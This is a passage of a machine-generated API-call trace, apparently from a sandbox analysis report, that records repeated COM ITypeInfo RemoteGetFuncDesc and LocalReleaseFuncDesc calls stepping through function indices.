returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x6f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x70, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x71, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x72, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x73, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x74, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x75, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x76, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.529] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x77, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.529] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x78, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x79, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x7f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x80, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x81, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x82, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x83, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x84, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x85, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x86, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x87, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x88, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x89, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.530] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x8f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.530] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x90, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x91, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x92, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x93, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x94, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x95, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x96, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x97, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x98, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x99, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9a, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9b, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9c, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9d, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9e, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0x9f, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa2, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa6, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.531] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.531] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xa9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaa, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xab, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xac, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xad, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xae, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xaf, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb0, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb2, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb6, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xb9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xba, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbb, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbc, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbd, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbe, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.532] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xbf, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.532] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc2, ppFuncDesc=0x127448, pDummy=0x140 | out: ppFuncDesc=0x127448, pDummy=0x140) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc6, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc7, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc8, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xc9, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xca, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcb, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcc, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcd, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xce, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xcf, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd0, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd1, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd2, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd3, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd4, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd5, ppFuncDesc=0x127448, pDummy=0x100 | out: ppFuncDesc=0x127448, pDummy=0x100) returned 0x0 [0053.533] ITypeInfo:LocalReleaseFuncDesc (This=0x68569a0) returned 0x0 [0053.533] ITypeInfo:RemoteGetFuncDesc (in: This=0x68569a0, index=0xd6, 